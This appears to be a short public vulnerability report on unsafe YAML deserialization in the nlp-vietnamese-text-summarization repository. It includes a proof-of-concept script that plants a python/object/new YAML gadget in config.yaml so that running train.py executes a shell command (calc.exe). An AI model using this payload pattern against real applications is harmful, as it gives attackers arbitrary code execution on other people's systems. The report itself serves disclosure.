Code Injection in ngockhanh5110/nlp-vietnamese-text-summarization
Valid
Reported on
Feb 18th 2021
Description
nlp-vietnamese-text-summarization
package is vulnerable to Arbitary Code Execution
due to insecure yaml desearilization.
Vulnerability
Vulnerable to YAML deserialization attack caused by unsafe loading.
Proof of Concept
steps to reproduce:
import os
#os.system('https://github.com/ngockhanh5110/nlp-vietnamese-text-summarization')
os.chdir('nlp-vietnamese-text-summarization/')
payload = """cmd: !!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('calc.exe')"
"""
open('config.yaml','w+').write(payload)
os.system('python3 train.py')
python3 exploit.py
Impact
Arbitary Code Execution
to join this conversation